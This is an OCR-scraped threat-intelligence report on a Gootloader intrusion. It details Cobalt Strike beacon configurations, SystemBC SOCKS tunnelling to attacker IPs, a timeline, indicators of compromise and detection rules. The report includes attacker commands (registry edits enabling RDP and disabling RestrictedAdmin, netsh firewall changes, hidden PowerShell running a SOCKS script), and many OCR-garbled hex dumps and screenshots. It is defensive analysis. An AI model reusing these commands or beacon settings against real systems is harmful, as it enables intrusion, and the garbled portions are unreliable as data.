|:| Dot matches all D Unicode support k7hrjjb/KwrshtnidJp7GH2FbgMeGpcVkIZCDOHCciXA3Nog8tFA1e0U31KrEnUbSe421ts733xgCqMdgNIANF5qmrMrbCT216 rumKoE91I4FGnS 1PbLVTVKBXVZUShTzqd
ePPxT4EP7ggTLsURSiIU4mz569eset5cvjzDOkvWcHEY3100YK1Su735+9pY7IwPBfZnbZzm@GTtECi8@IpdLIIWRFuXhmoYYa6Rz3/+H8BHNEQE+mP0ooK/XjORISPIWSC
€9209vFwRcsxYMK+VPR4X3m6RQUNGR13S52zPgkyxav7eL7nTOH/RXfWOy j cMXWRUEBVERR50+qCLZ+nZZmFB/zF2tF3iR+gPHuhmRu3no6moYB+j+y/53P/84rZy5rM995

Regular expression

Case insensitive

’ DAThn £ 10 EEAEW VA A A
[ Astral support [ pisplay total wc 2624 = 1 Tr Raw Bytes ¢ LF
Output format Output p0Om:o¢

List matches . . — = .

(iH*80&E » »- - AQAPRQVH10eH*R HeR=HeR HerPH « - JJM1EH1A-<a| =, AAE®A=A&GIRAQH*R ¢B<H=Bfex«‘roure

EH1A-AAE A E9NU@XD@$I ~DFfAiHD*@~ I=DA AXAXAYZAXAYAZHe1 ARyaXAYZH
From Base64 YOH1EH10M1AM1EAPAPA? : Vy§y0é A M1EAQAQ] = AQAeW* « £§0&y [HeAH10T +@M1ERh « 2A«RRACEU. ; §/OH+£H Al
_Hef2 o w o he3n v ToaAL He fiH e UTCAY Y YMLERRAC— s oo {§0 0 A« 0 0 o v i HE o 0 0 o v @38F 0 e e @
AAIE';;itze_g+/= - 0 =vteene mhofge v o) ZSwne  gheke =M\« ¢ %L 6Bc~SA-eby-niidB-Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,%/*;q=0.8%
[Accept-Language: en-US,en;q=0.5%
Remove non-alphabet chars Referer: http://code.jquery.com/%
[Accept-Encoding: gzip, deflate%®
User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko%
= 1M+ 'GOB*03}7N*ALe Lgo> = = O+ YUt = y{U=3+@J = P+ O *EC5 = FYUTRA~ AGOPGVYOHLES w v @ A, v e e e AT@ws e e ASXnSEFOH+ SSHeGHofiHe UA e - e T

4J0HeA oAtqfe = HoAeAuxXXXHo= - PAe+y§3[91.215.85. 143]- #0xR

HeAtgH=DPsH=D+@ I=DAVHYEA4<H
«Ijwininet~AVI+alLeAACLWE =

[ strict mode

Punzin

v
STEP ]
Auto Bake
amc 927 7 Q@ 2ms

Tr Raw Bytes ¢ LF)

The data can be saved and parsed using the 1768.py tool from Didier Stevens that reveals the Cobalt Strike stager
configuration, including the C2 IP (91.215.85[.]143) and the license-ID (watermark) (206546002), which is a

well-known watermark used in multiple attacks based on our previous published reports.

File: shellcode.dat
Found shellcode:
Identification:
Parameter

license-1

MoV EdX
mov edx

VH1.eH.R H.R.H.R

The beachhead host using a Cobalt Strike beacon, injected into PowerShell and DLLHost processes; these served

as the main ingress and egress command and control channel to 91.215.85[.]143:443

0E00 2:00 1800 oo.gg 06:00 12:00 1800

— C\Windows|SysWOWESWindowsPowerShellil Olpowershellexe  — CAWIndows\SysWOWEH\dihostexe  — C/Window

CS HTTP Beacon
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The threat actor used Cobalt Strike HTTP Beacons for command and control communication. Three separate hosts
were infected with a Cobalt Strike HTTP beacon communicating to IPv4 91.215.85[.]143:443.

Cobalt Strike HTTP Beacon configuration:

"beacontype": [
"HTTPS"
1
"sleeptime": 22000,
"jitter": 37,
"maxgetsize": 13986556,
"spawnto": "WzJAyjDIW7WfbjhHiN8wmQ==",
"license_id": 206546002,
"cfg_caution": false,
"kill_date": null,
"server": {
"hostname": "91.215.85.143",
"port": 443,
"publickey": "MIGfMA@GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCN5UAIDbAA8310uZ1kNogHDAAVTF70InqUiF3kDémwuXz.
b
"host_header": "",
"useragent_header": null,
"http-get": {
"uri": "/jquery-3.3.1.min.js",
"verb": "GET",
"client": {
"headers": null,
"metadata": null
I
"server": {
"output": [
"print",
"append 1522 characters",
"prepend 84 characters",
"prepend 3931 characters”,
"basebdurl"”,
"mask"

}
h
"http-post": {
"uri": "/jquery-3.3.2.min.js",
"verb": "POST",
“client": {
"headers": null,
"id": null,
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"output": null
}
H
"tcp_frame_header": "AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
"crypto_scheme": @,
"proxy": {
“type": null,
"username": null,
"password": null,
"behavior": "Use IE settings"
b
"http_post_chunk": 9,
"uses_cookies": true,
"post-ex": {
"spawnto_x86": "%windir%\\syswow64\\d1lhost.exe",
"spawnto_x64": "%windir%\\sysnative\\dllhost.exe"
B
"process-inject": {
"allocator": "NtMapViewOfSection",
"execute": [
"CreateThread 'ntdll!RtlUserThreadStart'",
"CreateThread",
"NtQueueApcThread-s",
"CreateRemoteThread",
"Rt1CreateUserThread"
1
"min_alloc": 17500,
"startrwx": false,
"stub": "yl5rgAigihmtjA5iEHURzg==",
"transform-x86": [
"prepend '\\x90\\x90""
1
"transform-x64": [
"prepend "\\x90\\x90""
1
"userwx": false
h
"dns-beacon": {
"dns_idle": null,
"dns_sleep": null,
"maxdns": null,
"beacon": null,
"get_A": null,
"get_AAAA": null,
"get_TXT": null,
"put_metadata": null,
"put_output": null
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}I

"pipename": null,
"smb_frame_header": "AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

"stage": {
"cleanup": true

h

"ssh": {
"hostname": null,
"port": null,
"username": null,
"password": null,
"privatekey": null

}

Cobalt Strike SMB Beacon

The threat actor also used Cobalt Strike SMB beacons to chain beacons together for lateral movement. We

observed four hosts where Cobalt Strike SMB beacons were used.

Cobalt Strike SMB beacon configuration:

{
"beacontype": [
"SMB"
1
"sleeptime": 10000,
"jitter": 0,
"maxgetsize": 10485760,
"spawnto": "WzJAyjDIW7WfbjhHiN8wmQ==",
"license_id": 206546002,
"cfg_caution": false,
"kill_date": null,
"server": {
"hostname": "",
"port": 4444,
"publickey": "MIGfMA@GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCN5UAIbAA8310uZ1kNogHDAdV1F70InqUiF3kDémwuXz.
B
"host_header": null,
"useragent_header": "",
"http-get": {
"uri": null,

"verb": null,

"client": {
"headers": [],
"metadata": null

}I
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"server": {
"output": []
}
h
"http-post": {
"uri": """,
"verb": null,
"client": {
"headers": [],
"id": null,
"output": null
}
B
"tcp_frame_header": "AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALA
"crypto_scheme": @,
"proxy": {
“type": null,
"username": null,
"password": null,
"behavior": null
b
"http_post_chunk": null,
"uses_cookies": null,
"post-ex": {
"spawnto_x86": "%windir%\\syswow64\\dllhost.exe",
"spawnto_x64": "%windir%\\sysnative\\dllhost.exe"
h
"process-inject": {
"allocator": "NtMapViewOfSection",
"execute": [
"CreateThread 'ntd11!RtlUserThreadStart"'",
"CreateThread",
"NtQueueApcThread-s",
"CreateRemoteThread",
"RtlCreateUserThread"
1
"min_alloc": 17500,
"startrwx": false,
"stub": "yl5rgAigihmtjA5iEHURzg==",
"transform-x86": [
"prepend "\\x90\\x90""
15
"transform-x64": [
"prepend '\\x90\\x90""
1
"userwx": false

b
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"dns-beacon": {
"dns_idle": null,
"dns_sleep": null,
"maxdns": 0,
"beacon": null,
"get_A": null,
"get_AAAA": null,
"get_TXT": null,
"put_metadata": null,
"put_output": null
)i
"pipename”: "\\\\.\\pipe\\mojo.5688.8052.1838949397870888770b",
"smb_frame_header": "AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

"stage": {
“cleanup": true

H

"ssh": {
"hostname": null,
"port": null,
"username": null,
"password": null,
"privatekey": null

}

}
SystemBC

During the intrusion a PowerShell script named ‘s5.ps1’ was dropped to a users ‘AppData\Roaming’ folder.

Image: C:‘\Windows\SyswWOWe4\dllhost.exe

TargetFilename: C:\User SK-&ppDataH Roam ing[sS .ps1

s5.ps1 turned out to be a PowerShell version of SystemBC as described by Proofpoint. This PowerShell version

has been appearing more frequently over the past few years [1,2,3].
Having a PCAP of the traffic, we could decrypt it and see that inside, it was running SOCKS v5 traffic.

The first 50 bytes of the first data packet are the encryption key starting with 0x00 and ending with 0x3a:

B2 15 5d 81 c4 19 88 17 b 98 B9 3d BE 928 45 98 ] =:+E

B8 Ec 19 b3 49 98 E@ B c4 36 Bae T3 37 99 S5b 5C i@ B-57-[\

—2m s da ok el of c2 -C a5 S5 ks oes oe ad oo e = LI
eg3a |82 @1 BZ 83 B4 85 B85 87 88 83 Joerowa wrananan
ega8 ) Ba @b Bc 8d Be &F 18 11 12 13 14 15 16 17 18 19 rasasacsa *
28580 1a 1b 1c 1d 1e 1+ 28 21 22 33 24 25 26 27 28 20 savana |OUEEEET()
egE8 ] 22 2b 2c 2d 2= 2F 38 31 58 79 d9 =B 1E f7 dl &6 4, - 81 Pyeeens £
B2a7a) 21 6 9b 3e 18 32 21 57 6&F 87 S5E B8 75 =B 33 B6 lavaeZll geXeue3s
BEZE ) 43 b2 9c ¢S5 97 &5 @7 fa 32 98 cE 72 6b Be es BB Cavanana avapkeas
Ba9@ ) 14 4b 1E =4 b5 7F a5 64 f1 3a sranang o
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>>> s = "900162030U05060708090a6bBCOdOLOf101112131415161718191alblcldlelf2021222321U25262728292a2b2c2d2e2f30315079d9e018F7d16621f69bae103221576f07580875e03386U3b29cc597e507faaa90c8726boee6081U
ubl b57fa564f13a"
>>> b = binascii.unhexlify(s)

b
b'\x86\x81\x \ x84\ x85\x086\x87\x88\ t\n\x8b\x8c\; x0F\x18\x11\x124\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f ["H#$%&\' (I*+,-./01Py\xd9\xeB\x18\xFf7\xd1f!\xf6\xIb\xae\x162!Wo\x07
X\x08u\xe83\x86C\xb2\x9c\xc5\x97\xe5\x07\xfa\xaa\x9! k\xee\xe6\x08\x14K\x18\xed\xb5\x7f \xa5d\xf1: '

Using that key to decrypt the first answer packet shows that this is SOCKS v5 traffic and it also reveals the

domain:

ARCU . new(key)
rci.decrypt(c2b[:4])

X0\ xP1\ x8c\xpe"

rcd = ARCU.new(key)
= rci.decrypt(c2b[u:])

>>> c2d

\x85\x01\x080\x03\ :-:35-\ r="

x@5 -> Version 5

x@1 -> Command Code 1

x00 -> Reserved

x@3 -> Address Type

x05 -> Length of Domain (domain name redacted)

Approximately four minutes after the script was dropped, SOCKS (SystemBC) was utilized to tunnel network
connections from the external IPv4 91.92.136[.]20:4001 to the domain controller via a compromised endpoint.
The endpoint was configured to execute a PowerShell script [s5.ps1] that established a SOCKS connection to the

attacker-controlled infrastructure.

The process and C2 activity can be illustrated as:

91.21585[])143:443 SRR Cobalt Strike Beacon SRR EEEEy CAwWindows\SysWOWE4\dlhost.exe

Executes

91.92.136[]20:4001 TENEEENEREEAE SOCKSS [SystemBC)  phababetebe Powershell.exe -windowstyle hidden -ExecutionPolicy Bypass -File
CAUsers\«<REDACTED>\AppData\Roaming\s5.ps1

The script had the following indicators for the IPv4 and Port:

Sipaddress = '91.92.136.20'
Sdport = 4001

The SOCKS tunnel provided the following connectivity from the attacker computer and allowed RDP [3389] to be

traversed externally.
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91.92.136[]20:4001 Setutelelelle Host#1 - Proxy phakaitt bttt bt Domain Controller [RDP/3389]

I
I
I
f

C\Windows\SysWOWE4\
SOCKS Client [SystemBC]: s5.ps1 — WindowsPowerShell\v1.0\

powershell.exe Attacker Computer Name: DESKTOP-GRALDCS

A side effect of utilizing a proxy (SOCKS tunnel) on the endpoint is unusual port allocations, for example,
PowerShell talking to port 3389. In this case, RDP was used to tunnel to the Domain Controller via the
PowerShell process, which used port 3389.

Image = F DestinationPort ¢ ~ Destinationlp =
C:\Windows\SyswOwW64\windowsPowerShell\v1.@\powershell . exe 33839
DC
C:\Windows\SyswOwW64\windowsPowershell\v1.@\powershell.exe 3389
C:\Windows\5ysWOW64\WindowsPowerShell\v1.@\powershell . exe Host 3389
e SO A T o . #1
C:\Windows\SysWOW64\WindowsPowerShell\w1. @\powershell . exe 3389
C:\Windows\SysWOW64\WindowsPowerShell\w1. @\powershell . exe 3389
C: \Windows\SysWOW64\WindowsPowerShell\w1.@\powershell . exe Host 1389
R - : #2 .
C:\Windows\SysWOwWe4\WindowsPowerShell\v1.8\powershell.exe 3389
C:\Windows\Syswowe4 \windowsPowershell\v1.@\powershell.exe 3389

The activity did expose the attacker’s computer name via Windows eventID 4778, with the name being
‘DESKTOP-GRALDCS’. The client address referred to the proxy endpoint, an private IPv4 address.

Event 4778, Microsoft Windows secunty auditing.

General Details

Additional Information:
Client Mame; DESKTOP-GRALDCS
Client Address:

During the intrusion we also observed a second

hostname appear ‘HOME-PC.’ This was also found via RDP access related logins.
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ion was reconnected to a Window Station.

Subject:
Account Mame:
Account Domain:
Logon ID:

on Name: RDP-Tcp#9

Additional Information:

Client Name: HOME-PC
Client Address: 18.

Th : i Lo an isting Terminal Services
n, itc a ing g F: User Switching.

Based on the SRUM (System Resource Utility Monitor), with the SOCKS tunnel utilized, the attacker was most
active from 0600 UTC to 1100 UTC on the second day of the intrusion.

SRUM ENTRY CREATI ~ Application -T Bytes Sent |~ | Bytes Received v
6:00:00 \device\harddiskvolumeS\windows\syswow64\windowspowershell\v1.0\powershell.exe 5496380 5876598
7:00:00 \device\harddiskvolumeS\windows\syswowb4\windowspowershell\v1.0\powershell.exe 9470016 10016759
8:02:00 \device\harddiskvolumeS\windows\syswows4\windowspowershell\v1.0\powershell.exe 896018 994210
9:02:00 \device\harddiskvolume5\windows\syswowb4\windowspowershell\v1.0\powershell.exe 126054 246727
0:04:00 \device\harddiskvolume5\windows\syswow64\windowspowershell\v1.0\powershell.exe 131832 257920
1:04:00 \device\harddiskvolume5\windows\syswow64\windowspowershell\v1.0\powershell.exe 29178 51810
2:06:00 \device\harddiskvolume5\windows\syswow64\windowspowershell\v1.0\powershell.exe 7149 6840
3:06:00 \device\harddiskvolumes\windows\syswow64\windowspowershell\v1.0\powershell.exe 6822 6564
4:08:00 \device\harddiskvolumeS\windows\syswow64\windowspowershell\v1.0\powershell.exe 6984 6728
5:08:00 \device\harddiskvolumeS\windows\syswow64\windowspowershell\vl.0\powershell.exe 6822 6564
6:10:00 \device\harddiskvolumeS\windows\syswow64\windowspowershell\v1.0\powershell.exe 7038 6782
7:10:00 \device\harddiskvolumeS\windows\syswow64\windowspowershell\v1.0\powershell.exe 6822 6564
8:10:00 \device\harddiskvolumeS\windows\syswow64\windowspowershell\v1.0\powershell.exe 6282 6068
9:12:00 \device\harddiskvolume5\windows\syswow64\windowspowershell\v1.0\powershell.exe 3690 3372
0:12:00 \device\harddiskvolume5\windows\syswow64\windowspowershell\v1.0\powershell.exe 3582 3264
1:14:00 \device\harddiskvolume5\windows\syswow64\windowspowershell\v1.0\powershell.exe 3690 3372

During the intrusion, it was observed that two different attacker computer names were used, ‘DESKTOP-
GRALDCS5’ and ‘HOME-PC’.

Timeline
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GootLoader SEO website
WScript.exe "C:\Users\
<REDACTED>AppData\Local\Temp\Templ_im

plied_employment_agreement_70159.zip\impli
ed employment agreement 24230.s

Cobalt Strike beacon: powershell exe” /enco NgAWADK.

91.215.85.143:443
PipeName: \netsve\1324

Process injection:
C:A\Windows\System32\dllhost.exe

LDAP enumeration enumeration

network sweeps for port 445

SystemBC PowerShell script executed on
one to the compromised workstations

SystemBC C:\Users\<REDACTED>\AppData\Roaming\s5.psl

91.92.136.20:4001

HKU\ DEFAULT\Software\Microsoft\Windows\
CurrentVersion\Run\socks_powershell

Advanced _IP_Scanner_2.5.3850.exe executed
on domain controller

Threat actor browses file shares from domain
controller opening files related to passwords

Threat actor deploys SystemBC script on backup server

Diamond Model

SEO Poisoning to Domain
Control: The Gootloader
Saga Continues

CreatedTaskProcess | Path:
C:\Windows\system32\wscript EXE |
TaskName: \InfrSiRfucture Technologies

2nd stage CA\U: REDACTED:

L PoWerSHEIL

blogl Jlilianpraskoval Jcz/xmirpe.php

DLL Reg Key Location
HKEY_CURRENT_USER\SOFTWARE\Microsofty
Personalization\cbKStbjQBNFy

EXE Reg Key Location

HKEY_CURRENT_USER\SOFTWARE\Microsoft\
Personalization\geRBAIXTDCKN

[~ Repeated on several servers and workstations

[~— Remote service

powershell.exe -nop -w hidden -c i -Di

[ SMB executable transfer

\\<REDACTED>\ADMIN$\e544944 exe

[— Cobalt Strike beacon remote service execution: e544944

PipeName:
\mojo.5688.8052.1838949397870888770b
Spawn to Rundll32.exe migrate to Dllhost.exe
LSASS Credential access via Dilhost.exe
[~ Network discovery Powershell -> Ping <REDACTED>
h__ Cobalt Strike beacon
powershell.exe” /enco NGAWA....
Spawn to Dllhost.exe
LSASS Credential access via Dilhost.exe

[— Lateral Movement [Pass the hash]

Lateral movement fails on domain controllers
\— due to AV controls stopping Cobalt Strike

beacons

[~ Domain controller remotely configured to allow RDP access

[~— RDP Enabled via registry

reg add
“hkim\system\currentcontrolseticontrolytermi
nal server' /f /v fDenyTSConnections /t
REG_DWORD /d 0

[— Enable FW to permit services
netsh firewall set service remoteadmin
enable, netsh firewall set service
remotedesktop enable

[ Disabled Restricted Admin (RDP/remote admin) via registry

"hiklm\system\currentcontrolseticontrol\isa”
/f /v DisableRestrictedAdmin /t REG DWORD
/do

\— RDP login to domain controller proxied via SystemBC host

Same techniques used on domain controller applied to access backup server

Remote changes to enable RDP and then RDP login

Threat actor returns to domain controller and backup server
Review share documents again

Runs Advanced IP Scanner from backup server
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91.92.136.20:4001 — SystemBC —
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23.235194()157 ‘

hxxps[:)//ukrainians[ Jtoday/xmirpe.php
104.2118(]221 n

php.

DESKTOP-GRALDCS  HOME-PC

L AN

Psl;
72.29.781133

hxxps()//montages{ Jno/xmirpe. php
46.250.221[169

hxxps[//pocketofpreschoolf Jcom/xmirpc.php _)
141193 21301

moxpl//blogl Jillanpraskoval Jez/xmirpc php _J
46.28105()94

hxxps[:)//sitmeanssit] Jcom/xmirpe.php _J
7252.252(119

hxxp[:)//artmodel[ Jcom[ Jua/xmirpc.php _)
176.114.00120

2 Endpoints —

Workstation  Domain Controllers  Various Servers
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~ Resource Development — SEO Poisoning
|~ Initial Access — Gootioader

Powershell

wMi

|- Execution —— Windows Command Shell
Service Execution
Scheduled Task

Scheduled Task
|- persistence {
SystemBC

|- Privilege Escalation — Cobalt Strike

Cobalt Strike
|- Credential Access -[
Password files on fileshares

Advanced IP scanner

network scanning
Cobalt Strike {
\dap queries
+— Discovery
{ Get-DomainFileServer

Get-WmiObject

PowerView
Powershell Get-PsDrive
Get-Process
Gootloader
env
Remote Desktop Protocol
- Lateral Movement «E WMl
SMB/Admin Shares — Remote Service

SystemaC
- Command & Control -C
Cobalt strke

Powershell

Registry Payload — Cobalt Strike

Submit your feedback on this report for a chance to win free swag!

Indicators

Atomic

Gootloader

hxxps[:]//hrclubphilippines[.]com/xmlrpc.php
hxxps[:]//mediacratia[.]ru/xmlrpc.php

hxxps[:]//daraltanweer[.]com/xmlrpc.php
hxxps[:1//ukrainians[.]today/xmlrpc.php
hxxps[:]//my-little-kitchen[.]com/xmlrpc.php
hxxps[:1//montages[ . Ino/xmlrpc.php
hxxps[:]//pocketofpreschool[.]com/xmlrpc.php
hxxp[:1//blog[.]lilianpraskoval.]cz/xmlrpc.php
hxxps[:]//sitmeanssit[.]com/xmlrpc.php
hxxp[:]//artmodel[.]Jcom[ . Jua/xmlrpc.php

Cobalt Strike
91.215.85[.]143:443

SystemBC (2
91.92.136[.]20:4001

Computed
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Implied_employment_agreement_70159.zip
fbbedf75763fadbd0e’fe85a563hb0c24
7e854312bc@9bf320510fde5e34e32065339d9d2
873dd1dcdfcbe9826b274c5880f5be81a878e€93715fbb18a654d9dbab1c5dfc

implied employment agreement 24230.js
deb24dfaf8178fda2d076aba9134a30c
ecc0b26106703e129fb1e2ec132c37387@c2e7bb
£94048917ac75709452040754bb3d1a0aff919f7c2b4b42c5163c7bdb1fbf346

Frontline Management.js

4f4ee823a8c7e2511f05b3eab33cAd2c
877515fecc14ed193167e8a20c6b9ab84a74564d
ecc7f13c3f0f8d4775e05715810b0164c52b7bd233e4a2edf5a37769bech009?

stagel (geRBAdXTDCkN)

md5sum payload1.d11l_: 25b38e45df3cd215386077850c59bed7

shalsum payload1.dll_: a88a28c73aa42956c9f9d12585a8de63d4a00ed?

sha256sum payload1.d1l1l_: 68dd1a2da732d56h0618f8581502fcf209b1c828c97d051239c98d55bb780562

stage2 (cbkSBtbjQBNFy)

md5sum payload2.exe_: 1b8b4f05058ac39091b99cc153ab00c@

shalsum payload2.exe_: e@h568a3e35257cd30b0c42727c3529cef13b081

sha256sum payload2.exe_: 831955bd05186381a8f15539a41f48166873eab3feb55fb1104202e4152bd507

e544944 .exe - (S beacon

md5sum e544944 .exe: f769ch73317421c290832777c9e14192

shalsum e544944.exe: f043898fc9db6985c4ad8bb84669c081cdaa8ebf e544944.exe

sha256sum €544944.exe: 40c40495434bT987h04f0742c3€9201189675d87a042aa72abbdd084c3de66d8
imphash: 49145e436aa571021bb1c7b727f8b049

5d78365.exe - CS beacon

md5sum 5d78365.exe: 9f9c7b2c8f245e62a08bf5f8a3eb3498

shalsum 5d78365.exe: 3cf851eb@9c934cafe9Ib98d47061903dff804b0cC

sha256sum 5d78365.exe: aad75498679%aada%ee2179a8824291e3b4781d5683c2fa5h3ec92267cedada33
imphash: 49145e436aa571021bb1c7b7278b049

dae50de.exe - (S beacon

md5sum dae50de.exe: ab617e6687ab5d747c530b930bb4a3209

shalsum dae50de.exe: d53e550b54c08606e19965a9f74bbaa7063e1011

sha256sum dae50de.exe: be3222219f029b47120390b2b1ad46ae86287e64a1f7228d6b2ffd89345a889%¢
imphash: 49145e436aa571021bb1c7b727f8b049

ad4a2ead.exe - CS beacon

md5sum a4aZead.exe: e9fc0203d1deal5dff56a285d0f86b62
shalsum a4a2ead.exe: 72076af2ce8df6f8b1121c38f3c3db043c540369
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sha256sum ada2ead.exe: 792a95234b01c256019b162242b9487b99e98ed8a955eaect1e44b0141aa12f4
imphash: 49145e436aa571021bb1c7b727f8b049

Detections

Network

ET POLICY Powershell Command With Encoded Argument Over SMB - Likely Lateral Movement

ET RPC DCERPC SVCCTL - Remote Service Control Manager Access

ET SCAN Behavioral Unusual Port 445 traffic Potential Scan or Infection

ET POLICY PE EXE or DLL Windows file download HTTP

ET POLICY SMB2 NT Create AndX Request For an Executable File

ET POLICY SMB Executable File Transfer

ET MALWARE SystemBC Powershell bot registration

ET POLICY Powershell Command With Hidden Window Argument Over SMB - Likely Lateral Movement
ET HUNTING Possible Powershell .ps1 Script Use Over SMB

ET POLICY SMB2 NT Create AndX Request For a Powershell .ps1 File

ET POLICY Possible Powershell .ps1 Script Use Over SMB

ET POLICY Powershell Command With Encoded Argument Over SMB - Likely Lateral Movement

ET POLICY Powershell Command With No Profile Argument Over SMB - Likely Lateral Movement

Sigma

Search rules on detection.fyi or sigmasearchengine.com

DFIR Public Rules Repo:

92f0538f-ad13-4776-9366-b7351d51c4b8 : Disable Windows Defender via Service
81cfbbae-5e93-4934-84a2-e6a26f85c7bb : JavaScript Execution Using MSDOS 8.3 File Notation

DFIR Private Rules:

8537a157-5cb6c-4173-9e65-943ff82c1efb : New Remote Access Configuration via netsh.exe
b17dc721-6e2d-4f2c-aaf5-4cbdcdfed6f5 : Remote Password File Access via Notepad or Wordpad

Sigma Repo:

d7a95147-145f-4678-b85d-d1ff4a3bb3f6 : CobaltStrike Service Installations - Security
3ef5605c-9eb9-47b0-9a71-b727ebaabc3b : Use NTFS Short Name in Image
88f680b8-070e-402c-ae11-d2914f2257f1 : PowerShell Base64 Encoded IEX Cmdlet
Tec65abf-9473-4f12-97da-622044d6df21 : Powershell Defender Disable Scan Feature
echc5e16-58e0-4521-9c60-eb9a7eadad34 : Meterpreter or Cobalt Strike Getsystem Service Installation -
5ef9853e-4d0@e-4a70-846f-a9ca37d876da : Potential Credential Dumping Activity Via LSASS
962fe167-e48d-4fd6-9974-11e5b9a5d6d1 : LSASS Access From Non System Account
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a2863fbc-d5cb-48d5-83fh-d976d4b1743b
dbce7ebd-260b-4323-9768-a9631c8d4db2
ed74fe75-7594-4b4b-ae38-e38e3fd2ebh23
01aeb693-138d-49d2-9403-c4f52d7d3d62

Yara

RDP Sensitive Settings Changed to Zero
RestrictedAdminMode Registry Value Tampering
Outbound RDP Connections Over Non-Standard Tools
RDP Connection Allowed Via Netsh.EXE

https://github.com/The-DFIR-Report/Yara-Rules/blob/main/19530/19530.yar

MITRE ATT&CK

Tools

19530 - SEO Poisoning to Domain Control: The Gootloader Saga Continues

Techniques

Resource Development

SEO Poisoning - TI608.006

Initial Access Gootloader

Drive by Compromise - T1189

PowerShell
Execution Wscript
Cobalt Strike

PowerShell - TI059.001

Windows Command Shell - T1059.003
Scheduled Task - T1053.005

Service Execution - T1569.002

Malicious File - T1204.002

Windows Management Instrumentation - T1047

Persistence SystemBC

Scheduled Tas/Job: Scheduled Task - TI053.005

Privilege Escalation Cobalt Strike

Process Injection: Portable Executable Injection - T1055.002

PowerShell

Defense Evasion schtasks

Disable or Modify Tools - T1562.001

Obfuscated Files or Information - T1027
Deobfuscate/Decode Files or Information - T1140
Modify Registry - T1112

Cobalt Strike

Credential Access
notepad.exe

LSASS Memory - T1I003.001
Credentials In Files - T1552.001

PowerShell Cmdlets
PowerView
Advanced IP Scanner
Cobalt Strike

Discovery

Domain Account - T1087.002

Local Account - T1087.001

Domain Groups - T1069.002

File and Directory Discovery - TI083
Network Share Discovery - T1135
System Information Discovery - TI082

Remote Desktop Protocol

Lateral Movement WMI

Remote Services: Remote Desktop Protocol - T1021.001
SMB/Windows Admin Shares - T1021.002
Remote Services: Windows Remote Management - T1021.006

Notepad.exe

Collection Wordpad.exe

Data from Network Shared Drive - T1039

Cobalt Strike

Command and Control SystemBC

Web Protocols - T1071.001
Internal Proxy - T1090.001

Internal case #19530

Source: https://thedfirreport.com/2024/02/26/seo-poisoning-to-domain-control-the-gootloader-saga-continues/
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